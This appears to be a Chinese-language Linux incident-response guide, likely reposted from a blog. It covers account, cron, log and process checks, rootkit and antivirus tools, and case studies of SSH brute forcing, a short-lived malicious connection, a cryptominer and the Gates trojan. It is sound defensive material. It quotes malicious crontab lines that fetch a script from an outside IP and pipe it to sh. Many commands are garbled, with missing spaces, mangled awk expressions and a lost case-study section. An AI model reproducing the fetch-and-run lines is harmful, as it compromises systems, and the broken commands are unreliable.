

当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故过程，同时给出解决方案与防范措施，为企业挽回或减少经济损失。

针对常见的攻击事件，结合工作中应急响应事件分析和解决的方法，总结了一些 Linux 服务器入侵排查的思路。

## 0x01 入侵排查思路

### 一、账号安全

基本使用：

#### 1、用户信息文件 `/etc/passwd`

```
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
```

用户名：密码：用户ID：组ID：用户说明：家目录：登陆之后shell

注意：无密码只允许本机登陆，远程不允许登陆

#### 2、影子文件 `/etc/shadow`

```
root:6
oGs1PqhL2p3ZetrE$X7o7bzooUHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7
ql1WpkopY0UV9ajBwUt1DpYxTCVvl/:16809:0:99999:7::: 用户名：加密密码：密码最后一次修改
日期：两次密码的修改时间间隔：密码有效期：密码修改到期到的警告天数：密码过期之后的宽限
天数：账号失效时间：保留
```

#### 3、几个常用命令：

`who` 查看当前登录用户（`tty` 本地登陆 `pts` 远程登录）

`w` 查看系统信息，想知道某时刻用户的行为

`uptime` 查看登陆多久、多少用户，负载

入侵排查：

#### 1、查询特权用户特权用户(uid 为 0)

```
[root@localhost ~]# awk -F: '3==0{print $1}' /etc/passwd
```

#### 2、查询可以远程登录的帐号信息

```
[root@localhost ~]# awk '1|6/{print $1}' /etc/shadow
```

#### 3、除 root 帐号外，其他帐号是否存在 sudo 权限。如非管理需要，普通帐号应删除 sudo 权限

```
[root@localhost ~]# more /etc/sudoers | grep -v "#$" | grep "ALL=(ALL)"
```

#### 4、禁用或删除多余及可疑的帐号

`usermod -L user` 禁用帐号，帐号无法登录，`/etc/shadow` 第二栏为！开头

`userdel user` 删除 user 用户

`userdel -r user` 将删除user用户，并且将/home目录下的user目录一并删除

## 二、历史命令

### 基本使用：

通过 `.bash_history` 查看帐号执行过的系统命令

#### 1、root 的历史命令

```
history
```

#### 2、打开 /home 各帐号目录下的 `.bash_history`，查看普通帐号的历史命令

为历史的命令增加登录的IP地址、执行命令时间等信息：

##### 1) 保存 1 万条命令

```
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
```

##### 2) 在 `/etc/profile` 的文件尾部添加如下行数配置信息：

```
#####jiagu history xianshi#####
USER_IP=who-uam i 2>/dev/null | awk '{print $NF}' | sed-e's/[()]/g'
if[ "$USER_IP"="" ]
then
USER_IP=hostname
fi
exportHISTTIMEFORMAT="%F %T $USER_IPwhoami "
shopt-shistappend
exportPROMPT_COMMAND="history -a"
##### jiagu history xianshi #####
```

##### 3) `source /etc/profile` 让配置生效

生成效果：

```
1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile
```

### 3、历史操作命令的清除：`history -c`

但此命令并不会清除保存在文件中的记录，因此需要手动删除 `.bash_profile` 文件中的记录。

### 入侵排查：

进入用户目录下：

```
cat .bash_history >> history.txt
```

## 三、端口

使用 `netstat` 网络连接命令，分析可疑端口、IP、PID

```
netstat -antlp | more
```

查看下pid所对应的进程文件路径，

运行 `ls -l /proc/$PID/exe` 或 `file /proc/$PID/exe`（\$PID 为对应的 pid 号）

## 四、进程

使用 `ps` 命令，分析进程

```
ps aux | grep pid
```

## 五、开机启动项

## 基本使用：

系统运行级别示意图：

	含义
0	关机
1	单用户模式，可以想象为windows的安全模式，主要用于系统修复
2	不完全的命令行模式，不含NFS服务
3	完全的命令行模式，就是标准字符界面
4	系统保留
5	图形模式
6	重新启动 <a href="https://blog.csdn.net/jihaichen">https://blog.csdn.net/jihaichen</a>

查看运行级别命令

```
runlevel
```

系统默认允许级别

```
vi /etc/inittab id=3 : initdefault 系统开机后直接进入哪个运行级别
```

开机启动配置文件

```
/etc/rc.local /etc/rc.d/rc[0~6].d
```

例子:当我们需要开机启动自己的脚本时，只需要将可执行脚本丢在 `/etc/init.d` 目录下，然后在 `/etc/rc.d/rc*.d` 中建立软链接即可

```
root@localhost ~]# ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100sshd
```

此处 `sshd` 是具体服务的脚本文件，`S100sshd` 是其软链接，S 开头代表加载时自启动；如果是 K 开头的脚本文件，代表运行级别加载时需要关闭的。

## 入侵排查：

启动项文件：

```
more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/
```

## 六、定时任务

### 基本使用

#### 1、利用 crontab 创建计划任务

```
crontab -l 列出某个用户 cron 服务的详细内容
```

Tips：默认编写的 `crontab` 文件会保存在 ( `/var/spool/cron/用户名` 例如: `/var/spool/cron/root` )

```
crontab -r 删除每个用户 cront 任务(谨慎：删除所有的计划任务)
```

```
crontab -e 使用编辑器编辑当前的 crontab 文件
```

如：`*/1 * * * * echo "hello world" >> /tmp/test.txt` 每分钟写入文件

#### 2、利用 anacron 实现异步定时任务调度

每天运行 `/home/backup.sh` 脚本：

```
vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh
```

当机器在 backup.sh 期望被运行时是关机的，anacron 会在机器开机十分钟之后运行它，而不用再等待 7 天。

## 入侵排查

重点关注以下目录中是否存在恶意脚本

```
/var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/*  
/etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*
```

### 小技巧：

```
more /etc/cron.daily/* 查看目录下所有文件
```

## 七、服务

### 服务自启动

#### 第一种修改方法：

```
chkconfig [--level 运行级别][独立服务名][on | off] chkconfig --level 2345 httpd on 开启自启动  
chkconfig httpd on (默认 level 是 2345)
```

#### 第二种修改方法：

```
修改 /etc/re.d/rc.local 文件 加入 /etc/init.d/httpd start
```

#### 第三种修改方法：

使用 ntsysv 命令管理自启动，可以管理独立服务和 xinetd 服务。

## 入侵排查

### 1、查询已安装的服务：

*RPM 包安装的服务:*

```
chkconfig --list 查看服务自启动状态，可以看到所有的RPM包安装的服务
```

```
ps aux | grep crond 查看当前服务
```

*系统在 3 与 5 级别下的启动项*

中文环境

```
chkconfig --list | grep "3:启用|5:启用"
```

英文环境

```
chkconfig --list | grep "3:on|5:on"
```

*源码包安装的服务*

查看服务安装位置，一般是在 /user/local/

```
service httpd start
```

搜索 /etc/rc.d/init.d/ 查看是否存在

## 八、系统日志

日志默认存放位置：/var/log/

查看日志配置情况：more /etc/rsyslog.conf

日志文件	说明
/var/log/cron	记录了系统定时任务相关的日志
/var/log/cups	记录打印信息的日志
/var/log/dmesg	记录了系统在开机时内核自检的信息，也可以使用dmesg命令直接查看内核自检信息
/var/log/maillog	记录邮件信息
/var/log/message	记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息，如果系统出现问题时，首先要检查的就应该是这个日志文件
/var/log/btmp	记录错误登录日志，这个文件是二进制文件，不能直接vi查看，而要使用lastb命令查看
/var/log/lastlog	记录系统中所有用户最后一次登录时间的日志，这个文件是二进制文件，不能直接vi，而要使用lastlog命令查看
/var/log/wtmp	永久记录所有用户的登录、注销信息，同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件，不能直接vi，而需要使用last命令来查看
/var/log/utmp	记录当前已经登录的用户信息，这个文件会随着用户的登录和注销不断变化，只记录当前登录用户的信息。同样这个文件不能直接vi，而要使用w,who,users等命令来查询
/var/log/secure	记录验证和授权方面的信息，只要涉及账号和密码的程序都会记录，比如SSH登录，su切换用户，sudo授权，甚至添加用户和修改用户密码都会记录在这个日志文件中

## 日志分析技巧：

### 1、定位有多少IP在爆破主机的 root 帐号：

```
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
```

定位有哪些 IP 在爆破：

```
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c
```

爆破用户名字典是什么？

```
grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*) from/; print "$1\n";}' | uniq -c | sort -nr
```

### 2、登录成功的 IP 有哪些：

```
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
```

登录成功的日期、用户名、IP：

```
grep "Accepted " /var/log/secure | awk '{print 1,2,3,9,$11}'
```

### 3、增加一个用户 kali 日志：

```
Jul1000:12:15localhostuseradd[2382]: newgroup: name=kali, GID=1001
Jul1000:12:15localhostuseradd[2382]: newuser: name=kali, UID=1001, GID=1001,
home=/home/kali
, shell=/bin/bash
Jul1000:12:58localhostpasswd: pam_unix(passwd:chauthtok): passwordchangedforkali
#grep"useradd"/var/log/secure
```

### 4、删除用户kali日志：

```
Jul1000:14:17localhostuserdel[2393]: deleteuser'kali'
Jul1000:14:17localhostuserdel[2393]: removedgroup'kali' ownedby'kali'
Jul1000:14:17localhostuserdel[2393]: removedshadowgroup'kali' ownedby'kali'
#grep"userdel"/var/log/secure
```

## 5、su 切换用户：

```
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by
root(uid=0)
```

sudo 授权执行:

```
sudo -lJul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ;
COMMAND=/sbin/shutdown -r now
```

## 0x02 工具

### 一、Rootkit 查杀

chkrootkit：

<http://www.chkrootkit.org>

使用方法：

```
wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar zxvf chkrootkit.tar.gz
cdchkrootkit-0.52
makesense
#编译完成没有报错的话执行检查
./chkrootkit
```

rkhunter

<http://rkhunter.sourceforge.net>

使用方法：

```
wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-
1.4.4.tar.gz
tar -zxvfrkhunter-1.4.4.tar.gz
cdrkhunter-1.4.4
./installer.sh --install
rkhunter -c
```

### 二、病毒查杀

Clamav

ClamAV 的官方下载地址为：

<http://www.clamav.net/download.html>

安装方式一：

1、安装 zlib：

```
wgethttp://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz
tar -zxvfzlib-1.2.7.tar.gz
cdzlib-1.2.7
#安装一下gcc编译环境: yum install gcc
CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/zlib/
make&& makeinstall
```

## 2、添加用户组 clamav 和组成员 clamav :

```
groupadd clamav
useradd -gclamav -s/bin/false -c"Clam Antivirus"clamav
```

## 3、安装 Clamav

```
tar -zxvf clamav-0.97.6.tar.gz
cdclamav-0.97.6
./configure --prefix=/opt/clamav --disable-clamav-with-zlib=/usr/local/zlib
make
makeinstall
```

## 4、配置 Clamav

```
mkdir/opt/clamav/logs
mkdir/opt/clamav/updata
touch/opt/clamav/logs/freshclam.log
touch/opt/clamav/logs/clamd.log
cd/opt/clamav/logs
chownclamav:clamav clamd.log
chownclamav:clamav freshclam.log
```

## 5、ClamAV 使用 :

`/opt/clamav/bin/freshclam` 升级病毒库

`./clamscan -h` 查看相应的帮助信息

`./clamscan -r /home` 扫描所有用户的主目录就使用

`./clamscan -r --bell -i /bin` 扫描 bin 目录并且显示有问题的文件的扫描结果

## 安装方式二 :

```
#安装
yum install -yclamav
#更新病毒库
freshclam
#扫描方法
clamscan -r/etc --max-dir-recursion=5-1/root/etcclamav.log
clamscan -r/bin --max-dir-recursion=5-1/root/binclamav.log
clamscan -r/usr --max-dir-recursion=5-1/root/usrcclamav.log
#扫描并杀毒
clamscan -r --remove/usr/bin/bsd-port
clamscan -r --remove/usr/bin/
clamscan -r--remove/usr/local/zabbix/sbin
#查看日志发现
cat/root/usrcclamav.log |grep FOUND
```

### 三、webshell 查杀

linux 版：

河马 webshell 查杀：

<http://www.shellpub.com>

深信服 Webshell 网站后门检测工具：

[http://edr.sangfor.com.cn/backdoor\\_detection.html](http://edr.sangfor.com.cn/backdoor_detection.html)

### 四、RPM check 检查

系统完整性可以通过 rpm 自带的 -Va 来校验检查所有的 rpm 软件包，查看哪些命令是否被替换了：

```
./rpm -Va > rpm.log
```

如果一切均校验正常将不会产生任何输出，如果有不一致的地方，就会显示出来，输出格式是 8 位长字符串，每个字符都用以表示文件与 RPM 数据库中一种属性的比较结果，如果是 . (点) 则表示测试通过。

验证内容中的 8 个信息的具体内容如下：

- S 文件大小是否改变
- M 文件的类型或文件的权限 ( rwx ) 是否被改变
- 5 文件 MD5 校验是否改变 ( 可以看成文件内容是否改变 )
- D 设备中，从代码是否改变
- L 文件路径是否改变
- U 文件的属主 ( 所有者 ) 是否改变
- G 文件的属组是否改变
- T 文件的修改时间是否改变

如果命令被替换了，如果还原回来：

文件提取还原案例：

```
rpm -qf /bin/ls 查询ls命令属于哪个软件包
```

```
mv /bin/ls /tmp 先把 ls 转移到 tmp 目录下，造成 ls 命令丢失的假象
```

```
rpm2cpio /mnt/cdrom/Packages/coreutils-8.4-19.el6.i686.rpm | cpio -idv ./bin/ls 提取 rpm 包中 ls 命令到当前目录的 /bin/ls 下
```

```
cp /root/bin/ls /bin/ 把 ls 命令复制到 /bin/ 目录 修复文件丢失
```

## 0x03 应急响应案例：SSH 暴力破解

SSH 是目前较可靠，专为远程登录会话和其他网络服务提供安全性的协议，主要用于给远程登录会话数据进行加密，保证数据传输的安全。SSH 口令长度太短或者复杂度不够，如仅包含数字，或仅包含字母等，容易被攻击者破解，一旦被攻击者获取，可用来直接登录系统，控制服务器所有权限。

### 应急场景

某天，网站管理员登录服务器进行巡检时，发现端口连接里存在两条可疑的连接记录，如下图：



```
[root@localhost log]# netstat -anpt|grep 22
tcp        0      0 127.0.0.1:2208      0.0.0.0:*           LISTEN      3215/hplod
tcp        0      0 192.168.143.112:22  111.13.xxx.xxx:80    SYN_RECV    -
tcp        0      0 192.168.143.112:22  123.59.xxx.xxx:80    SYN_RECV    -
tcp        0      0 127.0.0.1:2207      0.0.0.0:*           LISTEN      3220/python
tcp        0      0 :::8001             :::*                 LISTEN      22952/java
tcp        0      0 ::ffff:127.0.0.1:8004 :::*                 LISTEN      22952/java
tcp        0      0 :::8008             :::*                 LISTEN      22952/java
tcp        0      0 :::22               :::*                 LISTEN      3233/sshd
tcp        0      0 ::ffff:127.0.0.1:54071 ::ffff:127.0.0.1:3306 ESTABLISHED 22952/java
tcp        0      0 ::ffff:127.0.0.1:54067 ::ffff:127.0.0.1:3306 ESTABLISHED 22952/java
```

1、TCP 初始化连接三次握手吧：发 SYN 包，然后返回 SYN/ACK 包，再发 ACK 包，连接正式建立。但是这里有点出入，当请求者收到 SYS/ACK 包后，就开始建立连接了，而被请求者第三次握手结束后才建立连接。

2、客户端 TCP 状态迁移：

CLOSED->SYN\_SENT->ESTABLISHED->FIN\_WAIT\_1->FIN\_WAIT\_2->TIME\_WAIT->CLOSED

服务器 TCP 状态迁移：

CLOSED->LISTEN->SYN recv->ESTABLISHED->CLOSE\_WAIT->LAST\_ACK->CLOSED

3、当客户端开始连接时，服务器还处于 LISTENING，客户端发一个 SYN 包后，服务端接收到了客户端的 SYN 并且发送了 ACK 时，服务器处于 SYN\_RECV 状态，然后并没有再次收到客户端的 ACK 进入 ESTABLISHED 状态，一直停留在 SYN\_RECV 状态。

在这里，SSH (22) 端口，两条外网 IP 的 SYN\_RECV 状态连接，直觉告诉了管理员，这里一定有什么异常。

## 日志分析

SSH 端口异常，我们首先有必要先来了解一下系统账号情况：

### A、系统账号情况

1、除 root 之外，是否还有其它特权用户 (uid 为 0)

```
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd root
```

2、可以远程登录的帐号信息

```
[root@localhost ~]# awk '/1|6/{print $1}' /etc/passwd
38cKfZDjsTiUe58V
FP.UHWMObqeUQS1Z2KRj/4EEcOPi.6d1XmKHgK3j3GY9EGwwwBei7nUbbqjC./qK12HN8jFuX
OfEYIKLID6hq0::0:99999:7:::
```

我们可以确认目前系统只有一个管理用户 root。

接下来，我们想到的是 `/var/log/secure`，这个日志文件记录了验证和授权方面的信息，只要涉及账号和密码的程序都会记录下来。

### B、确认攻击情况：

1、统计了下日志，发现大约有 126254 次登录失败的记录，确认服务器遭受暴力破解

```
[root@localhost ~]# grep -o "Failed password" /var/log/secure | uniq -c 126254 Failed password
```

2、输出登录爆破的第一行和最后一行，确认爆破时间范围：

```
[root@localhost ~]# grep "Failed password" /var/log/secure | head -1 Jul 8 20:14:59 localhost
sshd[14323]: Failed password for invalid user qwe from 111.13.xxx.xxx port 1503 ssh2
[root@localhost ~]# grep "Failed password" /var/log/secure | tail -1 Jul 10 12:37:21 localhost
sshd[2654]: Failed password for root from 111.13.xxx.xxx port 13068 ssh2
```

### 3、进一步定位有哪些 IP 在爆破？

```
[root@localhost ~]# grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).
(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c | sort -nr 12622 23.91.xxx.xxx 8942
114.104.xxx.xxx 8122 111.13.xxx.xxx 7525 123.59.xxx.xxx .....
```

### 4、爆破用户名字典都有哪些？

```
[root@localhost ~]# grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*)?
from/; print "$1\n"; }' | uniq -c | sort -nr 9402 root 3265 invalid user oracle 1245 invalid user
admin 1025 invalid user user .....
```

## C、管理员最近登录情况：

### 1、登录成功的日期、用户名、IP：

```
[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print 1,2,3,9,$11}' Jul 9 09:38:09
root 192.168.143.100 Jul 9 14:55:51 root 192.168.143.100 Jul 10 08:54:26 root
192.168.143.100 Jul 10 16:25:59 root 192.168.143.100 .....
```

通过登录日志分析，并未发现异常登录时间和登录IP。

### 2、顺便统计一下登录成功的 IP 有哪些：

```
[root@localhost ~]# grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c |
sort -nr | more 27 192.168.204.1
```

通过日志分析，发现攻击者使用了大量的用户名进行暴力破解，但从近段时间的系统管理员登录记录来看，并未发现异常登录的情况，需要进一步对网站服务器进行入侵排查，这里就不再阐述。

## 处理措施

SSH暴力破解依然十分普遍，如何保护服务器不受暴力破解攻击，总结了几种措施：

- 1、禁止向公网开放管理端口，若必须开放应限定管理 IP 地址并加强口令安全审计（口令长度不低于 8 位，由数字、大小写字母、特殊字符等至少两种以上组合构成）。
- 2、更改服务器 ssh 默认端口。
- 3、部署入侵检测设备，增强安全防护。

## 0x04 应急响应案例：短连接

短连接（short connection）是相对于长连接而言的概念，指的是在数据传送过程中，只在需要发送数据时，才去建立一个连接，数据发送完成后，则断开此连接，即每次连接只完成一项业务的发送。在系统维护中，一般很难去察觉，需要借助网络安全设备或者抓包分析，才能够去发现。

### 应急场景

某天，网络管理员在出口 WAF 检测到某台服务器不断向香港I发起请求，感觉很奇怪，登录服务器排查，想要找到发起短连接的进程。

### 日志分析

登录服务器查看端口、进程，并未发现发现服务器异常，但是当多次刷新端口连接时，可以查看该连接。有时候一直刷这条命令好十几次才会出现，像这种的短连接极难捕捉到对应的进程和源文件。

```
[root@localhost ~]# netstat -anplt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:111            0.0.0.0:*               LISTEN      1317/rpcbind
tcp        0      0 0.0.0.0:40052          0.0.0.0:*               LISTEN      1362/rpc.statd
tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN      1573/sshd
tcp        0      0 127.0.0.1:631          0.0.0.0:*               LISTEN      1396/cupsd
tcp        0      0 127.0.0.1:25           0.0.0.0:*               LISTEN      1656/master
tcp        0      0 192.168.8.147:22       192.168.8.1:12201      ESTABLISHED 1909/sshd
tcp        0      0 192.168.8.147:22       192.168.8.1:12223      ESTABLISHED 1938/sshd
tcp        0      0 :::111                 :::*                     LISTEN      1317/rpcbind
tcp        0      0 :::38544                :::*                     LISTEN      1362/rpc.statd
tcp        0      0 :::22                  :::*                     LISTEN      1573/sshd
tcp        0      0 :::1:631                :::*                     LISTEN      1396/cupsd
tcp        0      0 :::1:25                 :::*                     LISTEN      1656/master

[root@localhost ~]# netstat -anplt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:111            0.0.0.0:*               LISTEN      1317/rpcbind
tcp        0      0 0.0.0.0:40052          0.0.0.0:*               LISTEN      1362/rpc.statd
tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN      1573/sshd
tcp        0      0 127.0.0.1:631          0.0.0.0:*               LISTEN      1396/cupsd
tcp        0      0 127.0.0.1:25           0.0.0.0:*               LISTEN      1656/master
tcp        0      0 192.168.8.147:22       192.168.8.1:12201      ESTABLISHED 1909/sshd
tcp        0      1 192.168.8.147:55901     118.184.15.40:17097     SYN_SENT    1964/[nfsiod]
tcp        0      0 192.168.8.147:22       192.168.8.1:12223      ESTABLISHED 1938/sshd
tcp        0      0 :::111                 :::*                     LISTEN      1317/rpcbind
tcp        0      0 :::38544                :::*                     LISTEN      1362/rpc.statd
```

手动捕捉估计没戏，很难追踪，于是动手写了一段小脚本来捕捉短连接对应的pid和源文件。

脚本文件如下：

```
#!/bin/bash
ip=118.184.15.40
i=1
while:
do
    tmp=netstat -anplt|grep $ip|awk -F'[/]'{print $1}'|awk '{print $7}'
    #echo $tmp
    if test -z "$tmp"
    then
        ((i=i+1))
    else
        for pid in $tmp; do
            echo "PID: ${pid}"
            result=`ls -lh /proc/$pid|grep exe`
            echo "Process: ${result}"
            kill-9$pid
        done
        break
    fi
done
echo "Total number of times: "${i}
```

运行结果如下：

```
[root@localhost tmp]# ./1.sh
PID: 14748
Process: lrwxrwxrwx. 1 root root 0 8月 26 18:56 exe -> /usr/lib/nfsiod
Total number of times: 287
[root@localhost tmp]# ./1.sh
PID: 17248
Process: lrwxrwxrwx. 1 root root 0 8月 26 18:57 exe -> /usr/lib/nfsiod
Total number of times: 499
[root@localhost tmp]# ./1.sh
PID: 19439
Process: lrwxrwxrwx. 1 root root 0 8月 26 18:57 exe -> /usr/lib/nfsiod
Total number of times: 438
```

下载 logo.jpg，包含脚本内容如下：





## 1、删除定时任务:

```
WW-S[redacted]@: / # crontab -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Oct 15 21:02:03 2017)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
*/20 * * * * wget -O - -q http://5.188.87.11/icons/logo.jpg|sh
*/19 * * * * curl http://5.188.87.11/icons/logo.jpg|sh
WW-S[redacted]@: / #
You have new mail in /var/mail/root
WW-S[redacted]@: / #
WW-S[redacted]@: / # crontab -r
WW-S[redacted]@: / # crontab -l
no crontab for root
```

## 2、终止异常进程:

```
WW-S[redacted]@: / # netstat -anplt|grep 99779
tcp        0      0 0.0.0.0:1757          0.0.0.0:*           LISTEN      99779/csg4mcb4n3c3d
tcp        0      0 172.27.99.129:53841 103.55.25.90:80     ESTABLISHED 99779/csg4mcb4n3c3d
WW-S[redacted]@: / #
WW-S[redacted]@: / # kill -9 99779
WW-S[redacted]@: / #
WW-S[redacted]@: / # netstat -anplt|grep 99779
WW-S[redacted]@: / #
```

## D、漏洞修复

升级 struts 到最新版本

### 防范措施

针对服务器被感染挖矿程序的现象，总结了几种预防措施：

- 1、安装安全软件并升级病毒库，定期全盘扫描，保持实时防护
- 2、及时更新 Windows 安全补丁，开启防火墙临时关闭端口
- 3、及时更新 web漏洞补丁，升级web组件

## 0x06 应急响应案例：盖茨木马

Linux 盖茨木马是一类有着丰富历史，隐藏手法巧妙，网络攻击行为显著的 DDoS 木马，主要恶意特点是具备了后门程序，DDoS 攻击的能力，并且会替换常用的系统文件进行伪装。木马得名于其在变量函数的命名中，大量使用 Gates 这个单词。分析和清除盖茨木马的过程，可以发现有很多值得去学习和借鉴的地方。

### 应急场景

某天，网站管理员发现服务器 CPU 资源异常，几个异常进程占用大量网络带宽：

```
top - 15:31:56 up 4:11, 3 users, load average: 2.38, 2.23, 1.59
Tasks: 391 total, 2 running, 387 sleeping, 1 stopped, 1 zombie
Cpu(s): 49.1%us, 23.4%sy, 0.0%ni, 25.6%id, 0.0%wa, 0.0%hi, 1.8%si, 0.0%st
Mem: 16334216k total, 7405560k used, 8928656k free, 170724k buffers
Swap: 8241144k total, 0k used, 8241144k free, 601492k cached

  PID USER      PR  NI  VIRT  RES  SHR  S  %CPU  %MEM    TIME+  COMMAND
 1871 root        20   0 34184 3072 208  S  99.1   0.0   8:44.75 kaxvikpoxk
 1886 root        20   0 52488 816  208  S  74.9   0.0  11:48.19 sryetfcwyo
 7059 root        20   0 238m  53m 3780  R  70.9   0.3  62:31.19 python
 2750 root        20   0 5894m 599m 26m  S  1.7   3.8   7:36.29 java
 2786 root        20   0 4793m 414m 13m  S  1.3   2.6   4:05.13 java
 4301 root        20   0 2593m 37m 6548  S  1.0   0.2   2:23.14 python
 2188 root        20   0 4015m 193m 16m  S  0.7   1.2   0:43.98 java
 3644 root        20   0 5810m 1.1g 29m  S  0.7   7.4   2:08.47 java
 7066 root        20   0 212m  12m 5180  S  0.7   0.1   0:15.46 python
 30875 root        20   0 15304 1484 948  R  0.7   0.0   0:00.17 top
    1 root        20   0 19368 1556 1240  S  0.3   0.0   0:07.44 init
 2206 root        20   0 427m  30m 5256  S  0.3   0.2   0:55.12 python
 2213 root        20   0 1311m 29m 7024  S  0.3   0.2   0:14.60 python
 2591 redisuse    20   0 134m 8028 1216  S  0.3   0.0   0:21.44 redis-server
 3764 root        20   0 217m  13m 5296  S  0.3   0.1   0:04.83 python
 3845 root        20   0 1324m 22m 5332  S  0.3   0.1   0:24.35 python
 3901 root        20   0 214m  12m 5212  S  0.3   0.1   0:03.77 python
 3925 root        20   0 222m  15m 5296  S  0.3   0.1   0:40.85 python
 4272 postgres    20   0 337m  15m 12m  S  0.3   0.1   0:06.87 postmaster
 4436 root        20   0 1638m 88m 6200  S  0.3   0.6   2:58.12 python
 5582 root        20   0 304m  21m 5668  S  0.3   0.1   0:55.51 python
 5594 root        20   0 305m  21m 5668  S  0.3   0.1   0:56.38 python
 7109 root        20   0 650m 455m 5268  S  0.3   2.9   0:22.28 hekad
    2 root        20   0    0    0    0  S  0.0   0.0   0:00.00 https://blog.csdn.net/jihaichen
    3 root        RT   0    0    0    0  S  0.0   0.0   0:00.78 migration/0
```

## 事件分析

异常 IP 连接：

```
[root@localhost bad-port]# netstat -anplt
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address          State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      5670/sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      1527/cupsd
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      1991/master
tcp        0      0 0.0.0.0:48227           0.0.0.0:*                LISTEN      1451/rpc.statd
tcp        0      0 0.0.0.0:111             0.0.0.0:*                LISTEN      1431/rpcbind
tcp        0      0 192.168.8.146:47015     103.57.108.162:6001     SYN_SENT    15076/./getty
tcp        0      0 192.168.8.146:22        192.168.8.1:48821      ESTABLISHED 5734/sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      5670/sshd
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      1527/cupsd
tcp        0      0 0.0.0.0:22              0.0.0.0:*                LISTEN      1991/master
tcp        0      0 0.0.0.0:48227           0.0.0.0:*                LISTEN      1451/rpc.statd
tcp        0      0 0.0.0.0:111             0.0.0.0:*                LISTEN      1431/rpcbind
```

异常进程：

查看进程发现 ps aux 进程异常，进入该目录发现多个命令，猜测命令可能已被替换

登录服务器，查看系统进程状态，发现不规则命名的异常进程、异常下载进程：

```
root      2124  0.0  0.0  3020  496 ?        Ss   14:48   0:00 /usr/sbin/atd
root      2291  0.0  0.0  2004  472 tty2      Ss+  14:48   0:00 /sbin/mingetty /dev/tty2
root      2293  0.0  0.0  2004  476 tty3      Ss+  14:48   0:00 /sbin/mingetty /dev/tty3
root      2295  0.0  0.0  2004  472 tty4      Ss+  14:48   0:00 /sbin/mingetty /dev/tty4
root      2297  0.0  0.1  3360 1828 ?        S<   14:48   0:00 /sbin/udevd -d
root      2298  0.0  0.1  3360 1832 ?        S<   14:48   0:00 /sbin/udevd -d
root      2300  0.0  0.0  2004  500 tty5      Ss+  14:48   0:00 /sbin/mingetty /dev/tty5
root      2305  0.0  0.0  2004  472 tty6      Ss+  14:48   0:00 /sbin/mingetty /dev/tty6
root      5322  0.0  0.2  22732 3084 ?        Sl   14:49   0:00 /usr/sbin/console-kit-daemon --no-daemon
root      5670  0.0  0.1  9008 1040 ?        Ss   14:49   0:00 /usr/sbin/sshd
root      5734  0.0  0.3 12076 3808 ?        Ss   14:50   0:01 sshd: root@pts/0
root      5757  0.0  0.1  6952 1808 pts/0    Ss   14:50   0:00 -bash
root      8510  0.0  0.0  2004  472 tty1      Ss+  15:04   0:00 /sbin/mingetty /dev/tty1
root     10628  0.0  0.0  93636 868 ?        Ssl  15:13   0:00 /usr/bin/dpkgdp/ps aux
root     10704  0.0  0.0 11716 544 ?        Ssl  15:13   0:00 /usr/bin/.sshd
root     14033  0.0  0.0  1372  924 ?        Ss   15:27   0:00 gnome-terminal
root     14036  0.0  0.0  1372  924 ?        Ss   15:27   0:00 su
root     14038  0.0  0.0  1372  924 ?        Ss   15:27   0:00 echo "find"
